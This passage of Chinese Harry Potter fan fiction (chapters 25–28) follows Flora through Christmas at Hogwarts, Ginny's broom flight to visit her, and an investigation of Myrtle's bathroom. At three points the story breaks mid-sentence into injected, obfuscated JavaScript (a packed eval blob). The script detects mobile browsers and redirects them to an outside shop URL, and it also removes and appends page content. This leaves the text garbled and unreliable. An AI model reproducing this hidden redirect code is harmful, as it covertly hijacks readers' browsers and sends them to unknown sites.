竟然睡了这么久。她扶了扶额角的地方,起身下了医务室的病床,把紧闭的窗户打开,寒风抓住机会,不甘寂寞地涌入医务室,玩弄着那白色幽灵般的窗帘,那窗帘晃了晃,让那地上芙罗拉的影子也微微晃动着,仿佛对此刻正在发生的一切都不寒而栗般颤抖。 25. 第 25 章 圣诞节竟然还没过去,真是糟糕透顶。芙罗拉上半身挺得笔直,正在桌上奋笔疾书。也许是昨日睡饱了的缘故,她今天精神好得不得了,然而这才仅仅是圣诞节第一天,剩下的日子还有得她过的。 她写给金妮的信并没有耗去很长的时间——几乎是行云流水,但当她提到礼物这个部分时,她罕见地犹豫了好一会,最后还是没写出具体送了金妮什么,只表达了希望金妮能喜欢的模糊意思。 一本日记本。她不确定地回想起金妮在学期初就拿着的那本透着古旧和精美两种感觉的日记本,她记得金妮有段时间相当迷恋在那本子上写字。 但她已经很久没见着那日记本了。芙罗拉抖了抖手里的羽毛笔——她怀疑那本日记本已经写不下了,进而思维迟疑地转向——难道金妮的秘密就那么难以说出口,以至于到了一本日记本都无法满足她的程度了吗? 旧的不去,新的不来。芙罗拉觉得金妮应该不会讨厌这个礼物。 说来也是奇怪,在昨天那个没头没脑的梦结束后,往常与跳蚤一样烦人的黑影倒像是陷入了久违的冬眠,这意味着很长一段时间的安静。 一如往常的,芙罗拉的内心告诉她别太深究原因。她理所当然地顺从了内心,因为这一如往常。 当然,金妮的礼物就放在她床柜边的抽屉上,芙罗拉起来的时候就迫不及待地拿到了属于她的圣诞礼物——令人惊喜,今年金妮竟然送了她一本叫做《病理研究与发现》的厚如千层蛋糕的书。芙罗拉粗粗翻阅了一下,发现这竟然还是本麻瓜书籍,而且价格不菲,这有考虑到韦斯莱家贫穷的经济状况。 总之,芙罗拉心满意足地收下了这份礼物。 选择礼物是件麻烦事,尤其在人际关系交往方面有过人天赋的人而言,这可以称得上是甜蜜的负担。但对于像芙罗拉这种平时如非必要基本远离人群的人来说,这就只是件麻烦事。选礼物真的很难,你根本不知道收到你礼物的人到底是不是真的喜欢你送的礼物,会不会给他人造成困扰,所以往常她都选择借鉴预言家日报——说难听点就是偷懒,去购买礼物。 她发誓自己真心实意地为此而苦恼,购买礼物也百分之百地用心,但不知道为什么每一个收到她礼物的人都会拍拍她的肩膀,声音中带着凝重。 “我们是朋友,对吧?” “噢,我以为这是当然的事?” 朋友收回手,会用复杂的眼神看着她,然后沉默地收下礼物,一个评价都不愿意给芙罗拉。 所以,应该都还是喜欢她的礼物? 芙罗拉肯定地想。 应该。 今年她也给很多人准备了礼物,韦斯莱一家当然是首选,然后是埃拉和威尔,给她寄了生日礼物的赫敏当然也有一份。密密麻麻数下来,今年竟然有不少礼物要送,看来罗宾今天这一趟下来会减掉至少两斤体重也说不定,但她只是只猫头鹰,所以这个数字可能会再缩减一些。 礼物的事情就在纠结与痛苦中完美解决了。芙罗拉写完寄给所有人的信后才恍然惊觉自己肚子的状况。她没有吃早餐的习惯,写信写着写着忘了时间,都到接近下午三点的时候她才想起来自己应该吃饭了,于是她又收拾了一遍自己的书桌,直到自己觉得没问题后才终于踏出寝室的门。 霍格沃滋冷清得简直不像个还有不少活人存在的学校。芙罗拉对此感觉相当良好,少了往常的热闹,这几乎与她之前生活的氛围没有任何不同,她喜欢这样,这糟糕的世界也没必要每天都有人宣布自己在这世界上存在,甚至有些人的存在根本就是个错误——好了,左转,然后就是食堂。现在去礼堂的话就太晚了,食堂才是不二选择。 推开门,家养小精灵仍然在勤勤恳恳地干活,哼着不知道哪里的小调,手上动作不停,看得芙罗拉眼花缭乱。她走过去,一个看上去像是管事的家养小精灵就凭空出现在她面前,甚至还做了一个不太标准的鞠躬礼。 “下午好,霍普小姐。有什么我能为你做的?”克林——芙罗拉认出了这个家养小精灵——说。 “一些吃的。”芙罗拉充满暗示地说,“希望厨房还有剩余。” 克林颔首,理解了芙罗拉的意思,只见他拍拍手,另一个矮一些,眼睛更明亮的家养小精灵出现了,他拿着煮马铃薯,烤马铃薯,炸薯片——英国的土豆真的有点太多了——还有一些牛排端到芙罗拉面前。 “谢谢。”芙罗拉朝那个小精灵点头,小精灵高兴得看起来都要哭了,“看起来霍格沃滋的土豆存量不错,是吗?今天的菜好像不多。”芙罗拉咬了一口土豆,她想把牛排留到最后吃。 克林解释道,“每到圣诞节,霍格沃滋都不会有那么多人需要吃饭。”他旁边的小精灵——他说自己叫马并——激动地说,“我们也不想的!我们也不想的!马并今天去检查仓库,里面只有土豆了!” “也许是老鼠。克林听说霍格沃滋里面有人养老鼠。说不定那只老鼠养了一窝脏兮兮的小崽……”克林慢吞吞地说。 “老鼠?不!不!老鼠会把粮食搞得一团乱!仓库里的粮食是丢了,而不是一团糟!”马并坚持自己的想法,“肯定是那个外来的家养小精灵干的!” “外来的家养小精灵?”芙罗拉问,“那是谁?” 马并不说话了,他双手捂住嘴,眼睛像要从眼眶里跳出来一样瞪大,使劲地摇头。克林瞪了他一眼,转而对芙罗拉说:“没什么,什么都没有。是马并看错了,所有的家养小精灵都老老实实得在自己的地方工作。这没什么外来的家养小精灵——话说,您还需要别的东西吗?” 克林似乎在转移话题。芙罗拉若有所思,克林是个严肃的家养小精灵,他相当苍老,在家养小精灵里很有威信,懂得一些礼仪,看得出来或多或少曾在贵族家庭服侍过。家养小精灵都是一群既不自由又不平等的生物,他们对主人的命令看得比自己的生命还重,并引以为傲,是最为忠实的仆人。 芙罗拉不太明白克林隐瞒的动机,难道有人命令了克林?可——另一个家养小精灵是怎么回事? 思考没有结果。她把最后一口牛排吞下,决定放下这件事。眼前的事情还没解决,还是先别着急另一件什么信息都没掌握的事了。 吃完后,她就在厨房辞别,马并热情地冲她挥手,克林只是矜持地鞠躬,目送着她离开厨房,大门与墙壁严丝合缝的那一刻。 芙罗拉并不着急回格兰芬多塔楼。她去了图书馆,路上碰见了正在霍格沃滋里闲逛的洛夫古德。洛夫古德起初没看见她,戴了一个很时尚的粉色鹿茸帽,她低垂着头,看上去似乎正盯着自己的影子发呆。 “圣诞快乐,洛夫古德。以及,见到你真让人高兴。”芙罗拉往那帽子上看了几眼,礼貌地说。 洛夫古德猛然抬起头,吓了芙罗拉一大跳。“圣诞快乐,小花!你的脸色比昨天看起来好多了,我就知道你准没事。” “谢谢。”芙罗拉说,“你在做什么?” 洛夫古德苦恼地说,“皮皮鬼说他藏了几枚圣诞彩蛋在霍格沃滋的角落里,我想找到这些蛋。但是,运气真差,蛋的影子我都没见着。” “……我只听说过复活节才有彩蛋这种说法。” 洛夫古德指了指脑子,“你得有点想象力,甜心。这种事情真的很有趣,像是圣诞节化了个复活节的妆一样。祝你好运,或许你能在角落里找到圣诞彩蛋——比如桃金娘的盥洗室。她最近脾气真的很暴躁,不是吗?” “皮皮鬼总去招惹她。”芙罗拉抱着胸说,下意识皱着眉,她不喜欢皮皮鬼。 “不只是皮皮鬼。”洛夫古德摆摆手,却没再说下去。 “我得走了。”她陷入自己的思绪,说,“八点前我得试试找到那些蛋。圆环的问题越来越刁钻了,我是说如果你不早点回宿舍的话。” 芙罗拉跟她道了别,转身向图书馆走去。 图书馆很少会让芙罗拉失望,这次也不例外。关于霍格沃滋最近出现的石化危机,她得好好思考一下,有好几种可能性。 例如一些能导致石化的神奇生物,岩石乌龟和化石鸟之类的,但这类神奇动物一般体形不至于小到无法被人找到的程度,也只有受惊时才会应激让人石化。霍格沃滋教授的水平不至于连乌龟和鸟都找不到,那些被石化的人——芙罗拉特意去看了,他们脸上无一例外表情都活像是见了鬼,虽然只有两个人,但这概率也值得让人注意。 有什么东西是能让两个巫师大感恐惧的吗? 难道是某种摄人的黑魔法?芙罗拉在图书馆走了几圈,平斯夫人盯着她,像盯着一只皮毛黯淡、正甩着尾巴的猫,她左手旁还有一杯已经喝完的茶。 她走到咒语专区,沉吟了几秒,从书柜里抽出了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201283|139182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本透着不详气息的黑皮封面的书,上面印着“你绝对不能错过的黑魔法咒语”,这看上去简直像是应该被摆在禁书区的书,也不知道为什么会被放在这。 芙罗拉翻开第一页,毫无疑问是三大不可饶恕咒中最致命的一条——阿瓦达索命。 「目前来说,没有任何已知咒语可以抵挡阿瓦达索命。除了那个大难不死的男孩,哈利·波特不知为何打破了这夺人性命的邪恶咒语。这么看来,阿瓦达索命仍然存有破除的可能。或许,其破咒条件从一开始就藏在咒语本身中。」 她往后翻去,都是一些较为常见的黑魔法。芙罗拉不说耳熟能详,或多或少也听说过。 一本书芙罗拉翻了又翻,要说石化的咒语,最著名的得说是“统统石化”,这也不是非常困难的咒语。难就难在一般咒语上都附有魔力,魔力强大的巫师可以通过追踪魔力踪丝来寻找施咒人,更别说是“统统石化”这么有明显施咒痕迹的咒语。 魔法器物的可能性呢?芙罗拉关上书,心里思绪万千。但就算是制作魔法器物,也要有本人的魔力附在上面。 思来想去,竟然还是神奇动物的可能性稍大一些。魔咒的痕迹在邓布利多面前很少有藏得住的——芙罗拉实在想不出来现在还有谁比邓布利多更强大,而神奇动物不一样,它们神出鬼没,还甚少有人真正了解这些可怕奇异的生物到底有多少种…… “好了,孩子。你该离开图书馆了。”平斯夫人的出声吓到了芙罗拉,她猛地一回头,夫人正站在她身后,手一伸,拿走了那本黑魔法书。平斯夫人是个消瘦的女人,看上去像只营养不良的秃鹰。现在,与往常易怒的形象不太一样,她的眼神并不严厉,隐隐透露出淡淡的慈祥。她用魔杖把那本书放回原本的位置。她放了好几遍,就好像看不惯那本书一样硬是放到了最上层。 “圣诞节快乐。”她神奇地不知道从哪掏出来一个紫色的小瓶。“你需要休息,孩子。这是我从斯内普教授那要过来的无梦酣睡剂,就当是我送给你的圣诞礼物。你知道怎么用吗?” 芙罗拉慌忙翻了翻口袋,该死的梅林,一无所获。她对夫人此时的行为相当无措,迫切想要返还些什么给这位夫人。夫人按住了她的肩膀,那一贯高高竖起的眉毛缓和了,她说,“今天是个不错的日子,梅林会眷顾你的。好了,离开我的图书馆——别让我再说第二遍。” 芙罗拉离开了图书馆,她微微侧过头,余光里瞥见平斯夫人端正的坐姿,仿佛一座伫立在图书馆的正义雕像,发誓要将所有轻视这座建筑的狂徒绳之以法。 出来才发现已近黄昏。冬天的阳光相当吝啬,今天它其实已经很慷慨了,洒在雪上好似秋天的原野上一片橙红的麦子。 芙罗拉最终来到了魁地奇球场,往常这能称得上是热闹与喧哗的聚集地,所以芙罗拉基本不会来到这里。但现在,这里空无一人。 除了芙罗拉。她深深地,深深地呼出了一口气。她站上了最高的楼梯,俯瞰这一片白色的绿茵场。球场很大,草地被夕阳无声地注视着,在风的呼吸中艰难摆动着自己的身体——只有几颗在这么做,孤高地呵斥着自己的存在感。 芙罗拉看着它们,与夏日的狂欢不同,冬日它们沉默,一种与生俱来的孤独便随之而来。 芙罗拉仍然不能呼唤起她的扫帚,她无法飞翔。 在沉默中,她感到眼睛的酸涩,缓慢地眨了眨眼,就在这时,她突然看到了一个奇怪的东西。残阳如血,一个红点逆光而下,看起来抱着陨石撞地球的气势极速下落,芙罗拉愣了愣,眯着眼看了好一会。 那似乎像是个人在骑着扫帚飞? 红点越来越往下,速度越来越快,芙罗拉看见了。那是个长着一头漂亮红发的女孩,脸上还有点婴儿肥,正被疾风吹得两颊微微颤抖,她的眼睛在阴影之下显出晦暗的色彩,但等那人离近时,芙罗拉才发现她的红棕色眼瞳闪着多么夺目的光彩。 那人飞到芙罗拉面前,笑容像夏日里融化的七彩棉花糖,她对她说,“圣诞快乐,芙罗拉!我实在是等不了一个圣诞节那么长的时间才能见到你——天呐,你看起来像几天几夜没合过眼了。别告诉我你有这么想我——当然,我知道你有。同时我得告诉你,我很想你,真的很想……” “金妮。”芙罗拉打断她,冷静地问,“你是怎么过来的?” “诶?” 26. 第 26 章 魁地奇,或者说另一种竞技意味上的飞行,是相当危险的高空运动,每年在这份速度与激情中死去的人都能从英格兰排着队到法兰西。所以当芙罗拉听到金妮委屈地说自己是从陋居一路骑着扫帚飞到霍格沃滋的时候,闯入她心里的第一个念头就是:金妮脑子里到底在想什么? “我还得恭喜你没摔断一条腿。”她的语气尖刻起来,“或者更糟,你的命说不定就留在某个山丘了。” “但最终结果证明我没事。”金妮听上去似乎受到了伤害,“而且这不是有你吗?嘿,别这样看着我,难道你不想见我吗?” “别转移话题。”芙罗拉忧虑地说,“韦斯莱夫人怎么同意的?” “我偷偷跑来的。妈妈总觉得拿扫帚在天上飞对我来说太危险了。”金妮打了个喷嚏,她仍然沉浸在飞行的激动中。 芙罗拉纠正她,“对每个人都很危险。” 她整个人焦躁不安,手指不停搅动,很想立刻就对金妮做个全身检查。 “别这么紧张。”金妮在芙罗拉面前转了一圈,拍着胸口说,“你看我什么事都没有。” 话音刚落,金妮又立马打了个响亮的喷嚏。 她强调:“我根本一点事都没有——阿、阿嚏!” “……” 芙罗拉一言难尽地凝视着金妮。 金妮默默地移开了视线。 最终,芙罗拉无情的手把金妮推到了医务室的病床上,并在柜子里一堆颜色诡异的瓶瓶罐罐中翻找起来。 金妮躺在床上,眼睛随着芙罗拉忙碌的身影转个不停。 出于无聊,她问,“你怎么去魁地奇球场了?你不是一向不怎么喜欢魁地奇吗?” 芙罗拉找出了一个小瓶,不怎么开心地看着那西兰花色的药水,一只手捏住了鼻子,很是嫌弃。 “随便去看看。”她走到离床还有两个金妮的距离,使劲伸长手臂让金妮能拿住药水,“喝掉吧。” 金妮闻到了一股下水道堆积的垃圾味,呕了一声,面色难看地接过药水,“一定要喝这个?” “这是疗效最好的。”芙罗拉坚持说,严肃非常。但同时她心里清楚,她本可以换一种金妮更能接受的药剂。 “好吧。”金妮妥协了,蔫蔫地说,捏住鼻子闷头全喝了,然后像是斯内普看见了哈利一样,露出嫌恶的表情。“真够恶心的。” 她看起来很像一只在水里扑腾的小狗。芙罗拉被这个想法逗笑了,但还是装做生气的样子。“你真的是一个人飞过来的?” 金妮小心翼翼地看着她,似乎在斟酌言辞,“呃,我想没有其他人跟着我一起过来。” 那好吧。芙罗拉陷入沉思。有些东西生来如此,如同鹰注定振翅于天空翱翔。 如果她被折断了翅膀,芙罗拉闭上了眼睛,哪怕穷尽一生她也会让她再次在云端飞翔。 当然,这只是假设而已,所以芙罗拉睁开眼,发现金妮突然脸色苍白地盯着她时,她下意识打了个哆嗦。 她的手覆在金妮额头上,为惊人的热度慌了神。 芙罗拉的表情出卖了她,金妮说,“也许我只是要休息一下。我刚发现这里的床比我家的床要舒服多了。”她迅速躺下了,脸上浮现出两个酒窝。 “别这么看着我。对了,你还记得我们第一次见面吗?我最近总是在想这个,清醒的时候或是没那么清醒的时候。最开始觉得一切都糟透了,后来又觉得一切都刚刚好。嘿,我只是觉得气氛正好。唯二的两个人不说话,也太无聊了。” “当时……当然糟透了,当时我跟妈妈吵了一架。我喜欢我的家人,我也知道他们爱我——这感觉很奇妙,你存在于他们之间,却活得像个隐形人,你融不进他们的世界里,因为年龄、性别或者理念之类不同的理由……这么说真奇怪,但我总觉得没有人能理解我。” 金妮看着自己的手,手指屈张,像是说服自己般喃喃道,“当然,我知道一个七八岁的孩子没什么需要理解的,毕竟他们什么都不懂,还太小了——诸如此类的。然后我就遇见了你,最开始简直是个噩梦,你把我吓得够惨……不,我才没被吓哭呢。” “后来我逃走了,结果还迷路了,掉到一个不知道被谁做的陷阱里出不来,我都以为真的要死在那里了。结果我当时以为的‘怪物’却救了我。” “对不起,我没跟你说过这些吧。别想太多,你送我的日记让我现在很有倾诉欲。总之,我很喜欢。” 她害羞般挠了一下发红的脸蛋,偷偷看着芙罗拉,“……” “那,我送你的,你喜欢吗?” 芙罗拉一直在默默听着金妮的话,乍一下被问,她不禁产生了几丝退缩的心理,金妮望着她,装作不是很在乎的样子。 “是的。”芙罗拉对她露出自己最真心的微笑,温柔地看着金妮,“这是我今年收到的,最喜欢的礼物。” 金妮带着美好的笑容闭上了眼睛。 芙罗拉也睡着了,她的手盘起在床上撑起头,脸侧过一边,正是对着金妮的那边。暮色渐沉,又渐渐被晨曦带走,到第二天的时候,清晨的第一缕晨光正亲吻她们的脸,试图唤醒她们。 她们等来的是韦斯莱夫人的怒骂。 “金妮!你怎么敢!”莫莉听上去气极了,停了个大喘气,像要昏厥过去,“你不应该用扫帚!谁准你偷偷去拿了!你应该为自己感到羞耻,你这撒谎成性的女孩!!!” “对不起。下次我不会在这样做了妈妈。”金妮的语气听上去很诚恳,但她的表情却不是那么回事。 “该死的!永远、永远不能再这么做!你现在立马给我回来——别再用那把该死的扫帚!” “那我该怎么回去呢,妈妈?” “——总会有办法的,反正你不能骑扫帚回来,那对你来说太危险了!” “……我会想办法的,妈妈。” 吼叫信回归平静,她的脸上浮现出某种反常,继而是一种坚定的意志。她握住芙罗拉的手,声音里带着过分的欢乐。 “无论如何,请陪我度过今天。”她说得很轻快,眼睛并未看向芙罗拉,“嗯,那个,虽然从各种方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你玩得不亦乐乎呀?”金妮哈哈大笑,“尝尝这个!” 芙罗拉抬头,一个白色的雪球朝她扑过来,她下意识闭上眼,抬手挡住自己的脸。 “睁开眼!” 她的眼睛留出一丝缝隙,然后猛然睁大眼。雪球就那样在白色的世界里炸开,变成了花朵的形状,落下了五颜六色的糖果。 “我自学的魔法,厉害吧!”金妮看起来洋洋得意,下巴扬起来,充满了“快夸我”的意思。 芙罗拉愣愣地看着这一切,她长久的不回应引起了金妮的不满。 “不会吧。你要是说什么这种咒语轻而易举之类的话,我真的会跟你打起来哦。我说真的。所以快点理我啦。等等,你不会真的这么想吧?” 她突然不自信起来,低声自语,“不会吧……” “如果,能跟你早点相遇就好了……” “你说什么?啊啊啊,太沉浸自己的世界了。”金妮后悔莫及地抓住自己的头发,“这次我一定会听清!” “……”芙罗拉感觉自己的呼吸变轻了,也许是更轻松了,“还差得远呢。” “哈?!”金妮气得又捏了好几个雪球,咬牙切齿地说,“还真敢这么说啊,哎!有本事别跑啊!” 其实有关你的一切,我都—— 深深感谢。 27. 第 27 章 英国的冬天总是很漫长,在一场大雪过后,世界陷入了沉睡。 芙罗拉目送了金妮的离开,她只在霍格沃滋呆了一天,依旧骑了扫帚回去。芙罗拉只能无言地看着她摆出一副无所谓的坚强样子,晃晃悠悠地飞上天空。 然后便一如既往,就像许多个过去的日日夜夜一般,芙罗拉维持着简单粗暴的每一天——起床,两餐,图书馆,睡觉。 等积雪融化,露出苍翠的桦树,芙罗拉能感受到寒湿的雾气划过逐渐回温的脸颊,鼻尖是空气中复苏的若隐若现的花草香,至此,她于是恍惚地了解到春天的姗姗来迟,并开始期待。 霍格沃滋迎来了下半学期。 与上半个学期很难说有什么显著的不同。非要说的话,只能是斯内普教授的刁难似乎少了许多,只是眉间的阴郁挥之不去,甚至于越来越浓厚,很难说是谁招惹了他,又可能在他看来,视野范围内任何人都可以看作是麻烦的根源,是值得厌恶的存在。 没什么值得一提的事,课程一如既往简单,如果洛哈特举办的情人节小活动也算一件大事的话,那也就是这段时间发生的最大的事了。 比起这个,自身的变化倒是引起了身旁人的关注。 草药课上。 芙罗拉回答了斯普劳特一个关于“瘦瘦草”的问题,得到了教授“完美”的评价。她扶了扶鼻梁上的小宅框金丝眼镜,面色沉静地接受了教授的赞美和格兰芬多来之不易的两分——可怜的红宝石已经快被波特一行人给扣没了。 埃拉的头发在冬天长了些,她一边拔草,泥巴沾上了脸也浑然不觉,一边频频往芙罗拉脸上的眼镜看去,最终忍不住问:“你近视了吗?” “没有。”芙罗拉也在拔草,但干活的速度却比埃拉慢上好几倍,甚至拔的时候也要犹豫几分钟,生疏而小心翼翼地进行着这份作业。 “那你为什么戴眼镜?不觉得戴着那玩意很不舒服吗?”埃拉不理解地瞪着眼。 “哦,你说这个。”芙罗拉说,“我想让自己看上去成熟一点。” 金妮虽然也在拔草,但注意力早就集中到了两人的对话中,对芙罗拉的说辞很是好奇。 “为什么这么说?你觉得你很幼稚吗?”金妮立刻问。 芙罗拉镇定的神色出现了一丝裂痕。 “我没有……也不是。戴眼镜会让我看起来更严肃老成一些,看上去也更靠谱。这样很不错,我更喜欢别人认真一点对待我。” 埃拉困惑极了,“但你看上去分明是更可爱了啊,那个词怎么说来着,视觉上有种反差感?” “请不要用可爱来形容我。”芙罗拉语气很认真,“就是因为这样,我才要戴眼镜。” 而关于“戴眼镜能让人看起来变成熟还是可爱”的争论被斯普劳特教授生气地打断了,她觉得芙罗拉三人一点也不尊重她,并狠狠教训了她们一顿,教训的词在“你们不能这样”、“这样很不好”中来回折腾,最后幸好只是说教了一番,没扣分——也许是教授考虑到了格兰芬多扣无可扣的红宝石,大发慈悲地放过了这次。 时间就在重复的循环中度过,直到赫敏·格兰杰在走廊的尽头被发现面容惊恐地瘫倒在地上,被定格在石化的那一刻。 而在格兰杰的事情发酵之前,芙罗拉正与洛夫古德待在桃金娘的舆洗室寻找洛夫古德丢失的粉色鹿茸帽。 “哦,你们这群冒失鬼!只管把我这里当成自己可憎的垃圾场。你们都应该跟可怜的桃金娘一样,变成孤魂野鬼,一个人留在这个被你们瞧不起的地方。”桃金娘透明的身体半飞在空中,用突出的眼球直勾勾地盯着她们,哀怨地说,“上上上次那个长得像秃驴的小鬼朝我扔了一片瓦砾,上上次红发雀斑留了一个破旧的本子,还有上次,你们都应该被心爱之人残酷的杀死,竟然有人往我这砸戒指……”她咯咯地笑着,肩膀一抽一抽,耳边被人拉扯地几近散开的两瓣麻花辫也上上下下地抖着,身体在空中飘个不停。 洛夫古德竟然能若无其事地与她对话,“听起来你一年可以收到很多东西,桃金娘。我的帽子也许被人丢在这了,是一顶粉色的可爱帽子,你有看到吗?” 芙罗拉听说过洛夫古德在拉文克劳院被叫做“怪女孩”的事,她在院里不被人接纳,时常会出现物品莫名其妙丢失的情况。也正是因此,洛夫古德碰见她时的请求,她没有拒绝。 “什么帽子,这里才没有帽子!只有心灵丑恶的小孩留下来的垃圾,哈哈哈哈哈哈哈哈……”桃金娘冲她们做了个鬼脸,手指不停地拉开嘴巴,升出舌头。 “那好吧。看来我的帽子不在这。”洛夫古德的样子看上去有些失望。 芙罗拉依言又检查了一遍,确实没发现任何与帽子搭得上边的东西。她弯下身,这里实在是太老旧了,全是潮湿的灰尘和生锈的铁味,她想把袍子稍微往上拉一些,不想让它沾上过多的浑水。就在这时,桃金娘坐在一个隔间的门板上,没有人理她,她便自顾自地哭了起来。 “可怜的桃金娘,可怜的桃金娘,死了还要被人欺负,一辈子待在这个鬼地方……” 洛夫古德的眼神里带着一点难过,她轻轻地说,“真可怜。你是在这里被杀的吗?” 桃金娘仍然呜呜地哭着,手指却指着一个地方,“是呀,就是在那,我看见一双特别大的眼睛,黄色的,就像两盏灯……” 芙罗拉和金妮顺着手指看过去,那是一片水池,有许多水龙头安装在管子上。 “那会是什么呢?”洛夫古德说,像是在自言自语。 “黄色的眼睛……”芙罗拉不自觉抿紧了唇。这给了她一种不详的预感。 “……会是,”霎那间,她打了个激灵,一个想法如闪电一样在脑中炸开,贴身的衣服沾上的水渍黏在皮肤上,浑身像是蜘蛛在往上爬走,“——蛇吗?” 这话一出口,气氛瞬间变得凝重起来,一双无形的手同时扼住了她们的喉咙,只见洛夫古德慢慢摇头,一言不发地往那个水池走去。芙罗拉原本想阻止她,但不知想到了什么,她的表情逐渐坚定起来,像是某种战争前的信号,她不约而同地与洛夫古德同时在水池边翻找起来。她们也不知道自己为什么要这么做,要找什么。但对洛夫古德来说,那或许会是个满足好奇的行为;对芙罗拉说,冥冥之中,她觉得自己就要抓住真相的锚点了。 她们挨个检查水龙头,最终找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201285|139182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了一个刻着一条小小的蛇的、从来不出水的水龙头。 鬼使神差间,芙罗拉伸出手,手指不断接近那条栩栩如生的小蛇,最后,她也确实碰到了那条蛇。但是—— 什么都没有发生。一切就像在指尖挥发的水汽,越想要找到破绽,越是无影无踪。 芙罗拉微微发怔,紧接着脸色便阴沉下来,牙齿咬得咯咯作响,苍白的手背泛出青色,握紧了那条蛇。 明明、明明马上就能抓住了—— “小花……?” “呼啊……!” 芙罗拉松开手,洛夫古德似乎被她的表现吓到了,正担忧地看着她。芙罗拉的脸正如溺水之人般发出难看的青色,但在好几个呼吸间,她恢复了冷静。桃金娘几分钟前就不再哭了,脸上似笑非笑。 “哎呦,你们为什么不说话啦?”她双手撑着自己的透明的脸,露出少女的表情。 洛夫古德看着那条蛇,问,“这是有人刻上去的吗?” 桃金娘看了一眼,语气无辜,“我不知道,毕竟我还没死那么久。你们知道是谁杀了我吗?” “嘿嘿。”眨眼间,她笑了,扎眼的粉刺挤成一团,让她看起来就像个真正普通的青春期少女一般,“但你们怎么可能知道是谁呢。我确实死了有那么久,虽然还没死那么久。嘻嘻。” 一股腾然而起的愤怒像火焰一样猛地燃烧起来,芙罗拉看着飘在空中、疯疯癫癫的桃金娘,剔除了鬼的身份,她就是一个真正普通的巫师姑娘,在蓄意的阴谋中丧失了生命,连背后的原因都懵懂无知。 芙罗拉感到愤怒,为生命如此脆弱,其凋零之时,甚至不会有一滴眼泪为其停留。 “我们得告诉邓布利多。”芙罗拉立刻拿出魔杖,确保她能随时使用魔杖,她对洛夫古德说,“霍格沃滋已经不安全了。” 洛夫古德还处于一片茫然的状态中,但她可能在芙罗拉严肃的表情中意识到了什么,也立刻拿出了魔杖。 “我们现在需要做什么?” “……先离开这里,找到邓布利多,告诉他这里的异常,之后的事情不是我们能干涉的,以及——”芙罗拉脸色紧绷,咬牙切齿地说,“桃金娘的死另有原因。这背后肯定有人,利用死亡来实施他邪恶的计划。真是,恶心透顶。” 洛夫古德抓住她的肩,她轻灵的眼睛片刻不眨地盯着她,望着那双眼睛,芙罗拉不安而激烈的心跳声渐渐平静下来。 “你太紧张了,小花。”洛夫古德朝她安抚地笑了笑,“我们现在立刻就离开这里。一切都来得及。” “……嗯。”芙罗拉迈开步,反手抓住洛夫古德的手臂,“你说得没错。” “你们要离开了吗?”桃金娘默默地飞到她们身边,破旧的圆框眼镜落寞地垂下,那双原本年轻的眼睛此刻就像垂暮老人一样失去了光彩。 芙罗拉脚步一顿,转身面对桃金娘,潮湿的舆洗室在她眼中已然变成了血腥残忍的谋杀现场,腐朽的气息在水滴落下的瞬间便淬炼成了刀一样冷冽的寒意,她对桃金娘说,“对不起。我必须离开。” 她的怒火仍在燃烧。 “但我一定会为你找出真相。” 28. 第 28 章 “我是芙罗拉·霍普,并不是什么好相处的性格,就算你能忍受一段时间,最终也还是会像那些人一样厌烦我的。 ………… 但你如果一定要做这些无用的尝试,我也不会拒绝。” “为什么想成为治疗师?我不记得了。大概因为这是个不错的职业吧。” “这是蜷翼魔,快死了。当然,长相非常可怕。我并不喜欢,所有的生物,特别是狼人这种肮脏的生物我全都讨厌。但是既然看到了,我也没有放弃生命的理由,顺手救了而已。 好了,离我远一点。我身上的药草味可不好闻。” 起初。 是个非常冷冰冰的少女。 虽然有问必答。 但无论怎么靠近和讨好,她也不会笑,嘴唇永远是一条直线,不会有任何除了平静以外的情绪。 正如她自己所言,并不是什么好相处的性格。 “父亲?我也是第一次听说这事……并没有隐瞒你,我不记得以前的事了。” “母亲?死了?抱歉,我搞不清。我不记得了,对此也没有兴趣。我确实是从圣芒戈——是这个名字吧,跑出来的。为什么在圣芒戈?对不起,我不知道。” “圣诞节……?原来如此,是这样一个节日啊。谢谢你为我解释这么多。不过我不太喜欢红色……不,并没有,我并没有很讨厌这个节日。需要我为你准备礼物吗?” 然后,她的态度出现了些许软化,对话中终于有了一点她自身情感的表达。 但她依然游离于人群之外,住在自己建造的囚室里,偶尔透过囚室墙壁上碎裂的痕迹看向外面的风景。 她是不一样的,她的眼睛会对你说。 但你一直想告诉她。 你也生活在囚室中。 有时,你觉得自己很是矫情,说不定她根本不在乎所有你自以为是的关心。 但你却仍旧一厢情愿地认为,你是理解她的。 “金妮,我不明白。” 在登上前往霍格沃滋的火车前,她突然问。 “你为什么这么喜欢哈利·波特?” 你是怎么回答她来着? 对了,你说。 “因为他很厉害嘛,在那个索命咒下活下来的男孩。还是跟我差不多大的年纪。 我要是能像他一样就好了。” 怀着“想跟他一样”的想法,不可自拔地开始关注他。 这种迷恋与憧憬,最初只是一种年少的好奇。他是勇敢的、伟大的,甚至高高在上的,只可远观的身影。 确实是这么想的。 直到在窗边无意的一瞥,她和他——最好的朋友和憧憬的人,两人的身影重叠在一起。你以为毫无交集的两个人意外地有了联系。 